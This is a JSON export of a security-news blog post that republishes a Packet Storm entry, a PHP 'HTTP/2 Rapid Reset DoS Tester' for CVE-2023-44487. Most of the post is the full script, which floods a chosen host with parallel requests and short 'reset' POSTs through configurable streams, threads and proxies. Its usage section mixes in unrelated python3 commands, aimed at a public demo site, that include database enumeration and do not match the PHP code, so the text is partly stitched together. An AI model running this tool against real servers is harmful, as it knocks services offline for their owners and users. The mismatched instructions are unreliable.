{"id":31411,"date":"2025-12-16T13:38:11","date_gmt":"2025-12-16T13:38:11","guid":{"rendered":"http:\/\/localhost\/?p=31411"},"modified":"2025-12-16T13:38:11","modified_gmt":"2025-12-16T13:38:11","slug":"http2-rapid-reset-dos-tester","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=31411","title":{"rendered":"\ud83d\udcc4 HTTP\/2 Rapid Reset DoS Tester_PACKETSTORM:212872"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-16T18:53:38&#8243;,&#8221;description&#8221;:&#8221;This is an HTTP\/2 Rapid Reset denial of service testing tool. It provides a comprehensive method for testing CVE-2023-44487 with cross-system compatibility, improved user interface, and detailed reporting capabilities&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 HTTP\/2 Rapid Reset DoS Tester&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212872&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-44487&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : HTTP\/2 Rapid Reset DoS Tester                                                                                               |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/http2.github.io                                                                                                     |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/211124\/ \\u0026 \\tCVE-2023-44487\\n    \\n    [+] Summary :  This enhanced tool provides a comprehensive method for testing CVE-2023-44487 with cross-system compatibility, improved user interface, and detailed reporting capabilities.\\n    \\n    \\n    [+]  Usage :   * : Save as: poc.php\\n                       Run    : php poc.php 127.0.0.1\\n    \\t\\t\\t\\t   \\n                       Run    : php poc.php 127.0.0.1 &#8211;port=8000 &#8211;http1\\n    \\t\\t\\t\\t   \\n    \\n    python3 poc.py -t https:\/\/demo.dotcms.com &#8211;full\\n    \\n    # Database Enumeration Only\\n    python3 poc.py -t https:\/\/demo.dotcms.com &#8211;database\\n    \\n    # Quick Scan\\n    python3 poc.py -t https:\/\/demo.dotcms.com &#8211;quick\\n    \\t\\n    [+]  POC :\\t\\n    \\n      \\u003c?php\\n    \/*\\n    indoushka\\n    *\/\\n    \\n    if ($argc \\u003c 2) {\\n        echo \\&#8221;Usage: php poc.php \\u003chost\\u003e [options]\\\\n\\&#8221;;\\n        echo \\&#8221;Options:\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;port=\\u003cport\\u003e              Target port (default: 443)\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;streams=\\u003ccount\\u003e          Number of streams (default: 200)\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;threads=\\u003ccount\\u003e          Number of threads (default: 5)\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;delay=\\u003cmicroseconds\\u003e     Delay between requests (default: 2000)\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;proxy=\\u003cproxy_url\\u003e        Use proxy (e.g., http:\/\/127.0.0.1:8080)\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;timeout=\\u003cseconds\\u003e        Request timeout (default: 5)\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;http1                    Force HTTP\/1.1\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;check-only               Check server support only\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;output=\\u003cfile\\u003e            Save results to file\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;no-color                 Disable colored output\\\\n\\&#8221;;\\n        exit;\\n    }\\n    \\n    \/\/ Parse command line arguments\\n    $options = [\\n        &#8216;host&#8217; =\\u003e $argv[1],\\n        &#8216;port&#8217; =\\u003e 443,\\n        &#8216;streams&#8217; =\\u003e 200,\\n        &#8216;threads&#8217; =\\u003e 5,\\n        &#8216;delay&#8217; =\\u003e 2000,\\n        &#8216;timeout&#8217; =\\u003e 5,\\n        &#8216;proxy&#8217; =\\u003e null,\\n        &#8216;force_http1&#8217; =\\u003e false,\\n        &#8216;check_only&#8217; =\\u003e false,\\n        &#8216;output&#8217; =\\u003e null,\\n        &#8216;no_color&#8217; =\\u003e false\\n    ];\\n    \\n    for ($i = 2; $i \\u003c $argc; $i++) {\\n        if (strpos($argv[$i], &#8216;&#8211;&#8216;) === 0) {\\n            $parts = explode(&#8216;=&#8217;, $argv[$i], 2);\\n            $key = substr($parts[0], 2);\\n            \\n            if (isset($options[$key])) {\\n                $options[$key] = isset($parts[1]) ? $parts[1] : true;\\n            } elseif ($key === &#8216;http1&#8217;) {\\n                $options[&#8216;force_http1&#8217;] = true;\\n            } elseif ($key === &#8216;check-only&#8217;) {\\n                $options[&#8216;check_only&#8217;] = true;\\n            } elseif ($key === &#8216;no-color&#8217;) {\\n                $options[&#8216;no_color&#8217;] = true;\\n            }\\n        }\\n    }\\n    \\n    \/\/ Convert numeric options\\n    $options[&#8216;port&#8217;] = (int)$options[&#8216;port&#8217;];\\n    $options[&#8216;streams&#8217;] = (int)$options[&#8216;streams&#8217;];\\n    $options[&#8216;threads&#8217;] = min((int)$options[&#8216;threads&#8217;], 20); \/\/ Limit threads for Windows\\n    $options[&#8216;delay&#8217;] = (int)$options[&#8216;delay&#8217;];\\n    $options[&#8216;timeout&#8217;] = (int)$options[&#8216;timeout&#8217;];\\n    \\n    \/\/ Color support for Windows\\n    if (strtoupper(substr(PHP_OS, 0, 3)) === &#8216;WIN&#8217; \\u0026\\u0026 !$options[&#8216;no_color&#8217;]) {\\n        \/\/ Enable ANSI colors in Windows 10+\\n        if (function_exists(&#8216;sapi_windows_vt100_support&#8217;)) {\\n            sapi_windows_vt100_support(STDOUT, true);\\n        }\\n    }\\n    \\n    \/\/ ANSI color codes\\n    $colors = [\\n        &#8216;red&#8217; =\\u003e \\&#8221;\\\\033[31m\\&#8221;,\\n        &#8216;green&#8217; =\\u003e \\&#8221;\\\\033[32m\\&#8221;,\\n        &#8216;yellow&#8217; =\\u003e \\&#8221;\\\\033[33m\\&#8221;,\\n        &#8216;blue&#8217; =\\u003e \\&#8221;\\\\033[34m\\&#8221;,\\n        &#8216;magenta&#8217; =\\u003e \\&#8221;\\\\033[35m\\&#8221;,\\n        &#8216;cyan&#8217; =\\u003e \\&#8221;\\\\033[36m\\&#8221;,\\n        &#8216;reset&#8217; =\\u003e \\&#8221;\\\\033[0m\\&#8221;\\n    ];\\n    \\n    if ($options[&#8216;no_color&#8217;]) {\\n        $colors = array_fill_keys(array_keys($colors), &#8221;);\\n    }\\n    \\n    \/\/ Display banner\\n    echo $colors[&#8216;cyan&#8217;] . \\&#8221;========================================\\\\n\\&#8221;;\\n    echo \\&#8221;      HTTP\/2 Rapid Reset DoS Tester \\\\n\\&#8221;;\\n    echo \\&#8221;              by indoushka\\\\n\\&#8221;;\\n    echo \\&#8221;========================================\\\\n\\&#8221; . $colors[&#8216;reset&#8217;];\\n    \\n    echo \\&#8221;\\\\nTarget: \\&#8221; . $colors[&#8216;yellow&#8217;] . $options[&#8216;host&#8217;] . \\&#8221;:\\&#8221; . $options[&#8216;port&#8217;] . $colors[&#8216;reset&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n    echo \\&#8221;Protocol: \\&#8221; . ($options[&#8216;force_http1&#8217;] ? \\&#8221;HTTP\/1.1\\&#8221; : \\&#8221;HTTP\/2 with fallback\\&#8221;) . \\&#8221;\\\\n\\&#8221;;\\n    echo \\&#8221;Streams: \\&#8221; . $options[&#8216;streams&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n    echo \\&#8221;Threads: \\&#8221; . $options[&#8216;threads&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n    echo \\&#8221;Delay: \\&#8221; . $options[&#8216;delay&#8217;] . \\&#8221;\u00b5s\\\\n\\&#8221;;\\n    if ($options[&#8216;proxy&#8217;]) {\\n        echo \\&#8221;Proxy: \\&#8221; . $options[&#8216;proxy&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n    }\\n    echo \\&#8221;\\\\n\\&#8221;;\\n    \\n    class HTTPTester {\\n        private $options;\\n        private $colors;\\n        private $results = [];\\n        private $lockFile;\\n        private $isWindows;\\n        \\n        public function __construct($options, $colors) {\\n            $this-\\u003eoptions = $options;\\n            $this-\\u003ecolors = $colors;\\n            $this-\\u003eisWindows = strtoupper(substr(PHP_OS, 0, 3)) === &#8216;WIN&#8217;;\\n            $this-\\u003elockFile = sys_get_temp_dir() . &#8216;\/http2_tester_lock_&#8217; . getmypid();\\n        }\\n        \\n        private function log($message, $type = &#8216;info&#8217;) {\\n            $prefix = &#8221;;\\n            switch ($type) {\\n                case &#8216;success&#8217;:\\n                    $prefix = $this-\\u003ecolors[&#8216;green&#8217;] . &#8216;[+] &#8216;;\\n                    break;\\n                case &#8216;error&#8217;:\\n                    $prefix = $this-\\u003ecolors[&#8216;red&#8217;] . &#8216;[-] &#8216;;\\n                    break;\\n                case &#8216;warning&#8217;:\\n                    $prefix = $this-\\u003ecolors[&#8216;yellow&#8217;] . &#8216;[!] &#8216;;\\n                    break;\\n                case &#8216;info&#8217;:\\n                    $prefix = $this-\\u003ecolors[&#8216;blue&#8217;] . &#8216;[*] &#8216;;\\n                    break;\\n            }\\n            \\n            echo $prefix . $message . $this-\\u003ecolors[&#8216;reset&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n        }\\n        \\n        public function checkServerSupport() {\\n            $this-\\u003elog(\\&#8221;Checking server support&#8230;\\&#8221;, &#8216;info&#8217;);\\n            \\n            $tests = [\\n                &#8216;HTTP\/2&#8217; =\\u003e CURL_HTTP_VERSION_2_0,\\n                &#8216;HTTP\/1.1&#8217; =\\u003e CURL_HTTP_VERSION_1_1\\n            ];\\n            \\n            $supported = [];\\n            foreach ($tests as $name =\\u003e $version) {\\n                if ($this-\\u003etestProtocol($version)) {\\n                    $supported[] = $name;\\n                    $this-\\u003elog(\\&#8221;$name supported\\&#8221;, &#8216;success&#8217;);\\n                } else {\\n                    $this-\\u003elog(\\&#8221;$name not supported\\&#8221;, &#8216;error&#8217;);\\n                }\\n            }\\n            \\n            return $supported;\\n        }\\n        \\n        private function testProtocol($version) {\\n            $curl = curl_init();\\n            $scheme = $this-\\u003eoptions[&#8216;port&#8217;] == 443 ? \\&#8221;https\\&#8221; : \\&#8221;http\\&#8221;;\\n            $url = \\&#8221;{$scheme}:\/\/{$this-\\u003eoptions[&#8216;host&#8217;]}:{$this-\\u003eoptions[&#8216;port&#8217;]}\/\\&#8221;;\\n            \\n            curl_setopt_array($curl, [\\n                CURLOPT_URL =\\u003e $url,\\n                CURLOPT_HTTP_VERSION =\\u003e $version,\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_TIMEOUT =\\u003e 3,\\n                CURLOPT_NOBODY =\\u003e true,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n                CURLOPT_USERAGENT =\\u003e &#8216;HTTP\/2-Tester\/1.0&#8217;,\\n            ]);\\n            \\n            if ($this-\\u003eoptions[&#8216;proxy&#8217;]) {\\n                curl_setopt($curl, CURLOPT_PROXY, $this-\\u003eoptions[&#8216;proxy&#8217;]);\\n                curl_setopt($curl, CURLOPT_HTTPPROXYTUNNEL, true);\\n            }\\n            \\n            $result = curl_exec($curl);\\n            $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);\\n            $effectiveVersion = curl_getinfo($curl, CURLINFO_HTTP_VERSION);\\n            \\n            curl_close($curl);\\n            \\n            return $httpCode \\u003e 0;\\n        }\\n        \\n        private function createCurlHandle($streamId, $isReset = false) {\\n            $scheme = $this-\\u003eoptions[&#8216;port&#8217;] == 443 ? \\&#8221;https\\&#8221; : \\&#8221;http\\&#8221;;\\n            $url = \\&#8221;{$scheme}:\/\/{$this-\\u003eoptions[&#8216;host&#8217;]}:{$this-\\u003eoptions[&#8216;port&#8217;]}\/\\&#8221;;\\n            \\n            $curl = curl_init($url);\\n            \\n            $options = [\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_TIMEOUT =\\u003e $isReset ? 1 : $this-\\u003eoptions[&#8216;timeout&#8217;],\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n                CURLOPT_USERAGENT =\\u003e &#8216;HTTP\/2-Tester\/1.0&#8217;,\\n                CURLOPT_HTTPHEADER =\\u003e [\\n                    &#8216;Accept: *\/*&#8217;,\\n                    &#8216;X-Stream-ID: &#8216; . $streamId\\n                ]\\n            ];\\n            \\n            \/\/ Set HTTP version\\n            if ($this-\\u003eoptions[&#8216;force_http1&#8217;]) {\\n                $options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1;\\n            } else {\\n                $options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_2_0;\\n            }\\n            \\n            if ($isReset) {\\n                $options[CURLOPT_POST] = true;\\n                $options[CURLOPT_POSTFIELDS] = &#8216;reset=&#8217; . $streamId;\\n                $options[CURLOPT_TIMEOUT_MS] = 100;\\n            } else {\\n                $options[CURLOPT_NOBODY] = true;\\n            }\\n            \\n            if ($this-\\u003eoptions[&#8216;proxy&#8217;]) {\\n                $options[CURLOPT_PROXY] = $this-\\u003eoptions[&#8216;proxy&#8217;];\\n                $options[CURLOPT_HTTPPROXYTUNNEL] = true;\\n            }\\n            \\n            curl_setopt_array($curl, $options);\\n            \\n            return $curl;\\n        }\\n        \\n        public function processBatch($start, $end, $type = &#8216;create&#8217;) {\\n            $batchResults = [];\\n            \\n            for ($i = $start; $i \\u003c $end; $i++) {\\n                $streamId = ($i * 2) + 1;\\n                \\n                if ($type === &#8216;create&#8217;) {\\n                    $result = $this-\\u003ecreateStream($streamId);\\n                } else {\\n                    $result = $this-\\u003eresetStream($streamId);\\n                }\\n                \\n                $batchResults[] = $result;\\n                \\n                if ($this-\\u003eoptions[&#8216;delay&#8217;] \\u003e 0) {\\n                    usleep($this-\\u003eoptions[&#8216;delay&#8217;]);\\n                }\\n            }\\n            \\n            \/\/ Save batch results to temporary file\\n            $tempFile = $this-\\u003elockFile . &#8216;_batch_&#8217; . $type . &#8216;_&#8217; . getmypid() . &#8216;.json&#8217;;\\n            file_put_contents($tempFile, json_encode($batchResults));\\n            \\n            return $tempFile;\\n        }\\n        \\n        private function createStream($streamId) {\\n            $curl = $this-\\u003ecreateCurlHandle($streamId, false);\\n            \\n            $start = microtime(true);\\n            $result = curl_exec($curl);\\n            $end = microtime(true);\\n            \\n            if ($result === false) {\\n                $error = curl_error($curl);\\n                $success = false;\\n            } else {\\n                $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);\\n                $success = ($httpCode \\u003e= 200 \\u0026\\u0026 $httpCode \\u003c 500);\\n            }\\n            \\n            curl_close($curl);\\n            \\n            return [\\n                &#8216;stream_id&#8217; =\\u003e $streamId,\\n                &#8216;type&#8217; =\\u003e &#8216;create&#8217;,\\n                &#8216;success&#8217; =\\u003e $success,\\n                &#8216;time&#8217; =\\u003e round(($end &#8211; $start) * 1000, 2),\\n                &#8216;error&#8217; =\\u003e $error ?? null\\n            ];\\n        }\\n        \\n        private function resetStream($streamId) {\\n            $curl = $this-\\u003ecreateCurlHandle($streamId, true);\\n            \\n            $start = microtime(true);\\n            curl_exec($curl);\\n            curl_close($curl);\\n            $end = microtime(true);\\n            \\n            return [\\n                &#8216;stream_id&#8217; =\\u003e $streamId,\\n                &#8216;type&#8217; =\\u003e &#8216;reset&#8217;,\\n                &#8216;time&#8217; =\\u003e round(($end &#8211; $start) * 1000, 2)\\n            ];\\n        }\\n        \\n        private function runParallel($operation) {\\n            $streamsPerThread = ceil($this-\\u003eoptions[&#8216;streams&#8217;] \/ $this-\\u003eoptions[&#8216;threads&#8217;]);\\n            $tempFiles = [];\\n            \\n            \/\/ Create batch processes\\n            for ($t = 0; $t \\u003c $this-\\u003eoptions[&#8216;threads&#8217;]; $t++) {\\n                $start = $t * $streamsPerThread;\\n                $end = min($start + $streamsPerThread, $this-\\u003eoptions[&#8216;streams&#8217;]);\\n                \\n                if ($start \\u003e= $end) continue;\\n                \\n                \/\/ On Windows, we use sequential processing in threads\\n                if ($this-\\u003eisWindows) {\\n                    $tempFile = $this-\\u003eprocessBatch($start, $end, $operation);\\n                    $tempFiles[] = $tempFile;\\n                } else {\\n                    \/\/ Fork for Linux\/Mac\\n                    $pid = pcntl_fork();\\n                    \\n                    if ($pid == -1) {\\n                        die(\\&#8221;Could not fork process\\\\n\\&#8221;);\\n                    } elseif ($pid) {\\n                        \/\/ Parent process\\n                        $tempFiles[] = $this-\\u003elockFile . &#8216;_&#8217; . $pid . &#8216;.json&#8217;;\\n                    } else {\\n                        \/\/ Child process\\n                        $batchResults = [];\\n                        for ($i = $start; $i \\u003c $end; $i++) {\\n                            $streamId = ($i * 2) + 1;\\n                            \\n                            if ($operation === &#8216;create&#8217;) {\\n                                $result = $this-\\u003ecreateStream($streamId);\\n                            } else {\\n                                $result = $this-\\u003eresetStream($streamId);\\n                            }\\n                            \\n                            $batchResults[] = $result;\\n                            \\n                            if ($this-\\u003eoptions[&#8216;delay&#8217;] \\u003e 0) {\\n                                usleep($this-\\u003eoptions[&#8216;delay&#8217;] \/ ($operation === &#8216;reset&#8217; ? 10 : 1));\\n                            }\\n                        }\\n                        \\n                        $tempFile = $this-\\u003elockFile . &#8216;_&#8217; . getmypid() . &#8216;.json&#8217;;\\n                        file_put_contents($tempFile, json_encode($batchResults));\\n                        exit(0);\\n                    }\\n                }\\n            }\\n            \\n            \/\/ Wait for child processes (Linux\/Mac only)\\n            if (!$this-\\u003eisWindows) {\\n                while (pcntl_waitpid(0, $status) != -1) {\\n                    $status = pcntl_wexitstatus($status);\\n                }\\n            }\\n            \\n            \/\/ Collect results from all temp files\\n            $allResults = [];\\n            foreach ($tempFiles as $tempFile) {\\n                if (file_exists($tempFile)) {\\n                    $content = file_get_contents($tempFile);\\n                    $batchResults = json_decode($content, true);\\n                    $allResults = array_merge($allResults, $batchResults);\\n                    unlink($tempFile);\\n                }\\n            }\\n            \\n            \/\/ Merge with main results\\n            $this-\\u003eresults = array_merge($this-\\u003eresults, $allResults);\\n            \\n            return count($allResults);\\n        }\\n        \\n        public function runTest() {\\n            $this-\\u003elog(\\&#8221;Starting test&#8230;\\&#8221;, &#8216;info&#8217;);\\n            \\n            \/\/ Create streams\\n            $this-\\u003elog(\\&#8221;Creating \\&#8221; . $this-\\u003eoptions[&#8216;streams&#8217;] . \\&#8221; streams&#8230;\\&#8221;, &#8216;info&#8217;);\\n            $created = $this-\\u003erunParallel(&#8216;create&#8217;);\\n            $this-\\u003elog(\\&#8221;Created \\&#8221; . $created . \\&#8221; streams\\&#8221;, &#8216;success&#8217;);\\n            \\n            \/\/ Reset streams\\n            $this-\\u003elog(\\&#8221;Resetting streams&#8230;\\&#8221;, &#8216;info&#8217;);\\n            $reset = $this-\\u003erunParallel(&#8216;reset&#8217;);\\n            $this-\\u003elog(\\&#8221;Reset \\&#8221; . $reset . \\&#8221; streams\\&#8221;, &#8216;success&#8217;);\\n            \\n            return $this-\\u003egenerateReport();\\n        }\\n        \\n        private function generateReport() {\\n            $successful = 0;\\n            $failed = 0;\\n            $resetCount = 0;\\n            $totalCreateTime = 0;\\n            $totalResetTime = 0;\\n            \\n            foreach ($this-\\u003eresults as $result) {\\n                if ($result[&#8216;type&#8217;] === &#8216;reset&#8217;) {\\n                    $resetCount++;\\n                    $totalResetTime += $result[&#8216;time&#8217;];\\n                } elseif ($result[&#8216;type&#8217;] === &#8216;create&#8217;) {\\n                    if ($result[&#8216;success&#8217;]) {\\n                        $successful++;\\n                    } else {\\n                        $failed++;\\n                    }\\n                    $totalCreateTime += $result[&#8216;time&#8217;];\\n                }\\n            }\\n            \\n            $report = [\\n                &#8216;total_operations&#8217; =\\u003e count($this-\\u003eresults),\\n                &#8216;successful_creations&#8217; =\\u003e $successful,\\n                &#8216;failed_creations&#8217; =\\u003e $failed,\\n                &#8216;reset_operations&#8217; =\\u003e $resetCount,\\n                &#8216;avg_create_time&#8217; =\\u003e $successful \\u003e 0 ? round($totalCreateTime \/ $successful, 2) : 0,\\n                &#8216;avg_reset_time&#8217; =\\u003e $resetCount \\u003e 0 ? round($totalResetTime \/ $resetCount, 2) : 0,\\n                &#8216;success_rate&#8217; =\\u003e ($successful + $failed) \\u003e 0 ? round(($successful \/ ($successful + $failed)) * 100, 2) : 0\\n            ];\\n            \\n            return $report;\\n        }\\n        \\n        public function saveResults($filename) {\\n            $data = [\\n                &#8216;options&#8217; =\\u003e $this-\\u003eoptions,\\n                &#8216;results&#8217; =\\u003e $this-\\u003eresults,\\n                &#8216;timestamp&#8217; =\\u003e date(&#8216;Y-m-d H:i:s&#8217;),\\n                &#8216;report&#8217; =\\u003e $this-\\u003egenerateReport()\\n            ];\\n            \\n            file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));\\n            $this-\\u003elog(\\&#8221;Results saved to: $filename\\&#8221;, &#8216;success&#8217;);\\n        }\\n    }\\n    \\n    \/\/ Main execution\\n    try {\\n        $tester = new HTTPTester($options, $colors);\\n        \\n        \/\/ Check server support if not forcing HTTP\/1.1\\n        if (!$options[&#8216;force_http1&#8217;] \\u0026\\u0026 !$options[&#8216;check_only&#8217;]) {\\n            $supported = $tester-\\u003echeckServerSupport();\\n            if (!in_array(&#8216;HTTP\/2&#8217;, $supported) \\u0026\\u0026 !$options[&#8216;force_http1&#8217;]) {\\n                $tester-\\u003elog(\\&#8221;HTTP\/2 not supported, falling back to HTTP\/1.1\\&#8221;, &#8216;warning&#8217;);\\n                $options[&#8216;force_http1&#8217;] = true;\\n            }\\n        }\\n        \\n        if ($options[&#8216;check_only&#8217;]) {\\n            exit;\\n        }\\n        \\n        $report = $tester-\\u003erunTest();\\n        \\n        echo \\&#8221;\\\\n\\&#8221; . $colors[&#8216;cyan&#8217;] . \\&#8221;========================================\\\\n\\&#8221;;\\n        echo \\&#8221;TEST REPORT\\\\n\\&#8221;;\\n        echo \\&#8221;========================================\\\\n\\&#8221; . $colors[&#8216;reset&#8217;];\\n        \\n        echo \\&#8221;Total operations: \\&#8221; . $colors[&#8216;yellow&#8217;] . $report[&#8216;total_operations&#8217;] . $colors[&#8216;reset&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n        echo \\&#8221;Streams created: \\&#8221; . $colors[&#8216;green&#8217;] . $report[&#8216;successful_creations&#8217;] . $colors[&#8216;reset&#8217;];\\n        if ($report[&#8216;failed_creations&#8217;] \\u003e 0) {\\n            echo \\&#8221; (\\&#8221; . $colors[&#8216;red&#8217;] . $report[&#8216;failed_creations&#8217;] . \\&#8221; failed\\&#8221; . $colors[&#8216;reset&#8217;] . \\&#8221;)\\&#8221;;\\n        }\\n        echo \\&#8221;\\\\n\\&#8221;;\\n        echo \\&#8221;Reset operations: \\&#8221; . $colors[&#8216;yellow&#8217;] . $report[&#8216;reset_operations&#8217;] . $colors[&#8216;reset&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n        echo \\&#8221;Average create time: \\&#8221; . $report[&#8216;avg_create_time&#8217;] . \\&#8221;ms\\\\n\\&#8221;;\\n        echo \\&#8221;Average reset time: \\&#8221; . $report[&#8216;avg_reset_time&#8217;] . \\&#8221;ms\\\\n\\&#8221;;\\n        echo \\&#8221;Success rate: \\&#8221; . \\n            ($report[&#8216;success_rate&#8217;] \\u003e 80 ? $colors[&#8216;green&#8217;] : \\n             ($report[&#8216;success_rate&#8217;] \\u003e 50 ? $colors[&#8216;yellow&#8217;] : $colors[&#8216;red&#8217;])) . \\n            $report[&#8216;success_rate&#8217;] . \\&#8221;%\\&#8221; . $colors[&#8216;reset&#8217;] . \\&#8221;\\\\n\\&#8221;;\\n        \\n        echo $colors[&#8216;cyan&#8217;] . \\&#8221;========================================\\\\n\\&#8221; . $colors[&#8216;reset&#8217;];\\n        \\n        if ($options[&#8216;output&#8217;]) {\\n            $tester-\\u003esaveResults($options[&#8216;output&#8217;]);\\n        }\\n        \\n        echo \\&#8221;\\\\n\\&#8221; . $colors[&#8216;green&#8217;] . \\&#8221;[+] Done! Check server responsiveness.\\\\n\\&#8221; . $colors[&#8216;reset&#8217;];\\n        echo $colors[&#8216;yellow&#8217;] . \\&#8221;Note: This tool is for educational and testing purposes only.\\\\n\\&#8221;;\\n        echo \\&#8221;Use only on systems you own or have permission to test.\\\\n\\&#8221; . $colors[&#8216;reset&#8217;];\\n        \\n    } catch (Exception $e) {\\n        echo $colors[&#8216;red&#8217;] . \\&#8221;\\\\n[!] Error: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221; . $colors[&#8216;reset&#8217;];\\n        exit(1);\\n    }\\n    ?\\u003e\\n    \\t\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212872&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.5,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212872\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-16T18:53:38&#8243;,&#8221;description&#8221;:&#8221;This is an HTTP\/2 Rapid Reset denial of service testing tool. It provides a comprehensive method for testing CVE-2023-44487 with cross-system compatibility, improved user interface,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-31411","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 HTTP\/2 Rapid Reset DoS Tester_PACKETSTORM:212872 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=31411\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 HTTP\/2 Rapid Reset DoS Tester_PACKETSTORM:212872 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-16T18:53:38&#8243;,&#8221;description&#8221;:&#8221;This is an HTTP\/2 Rapid Reset denial of service testing tool. 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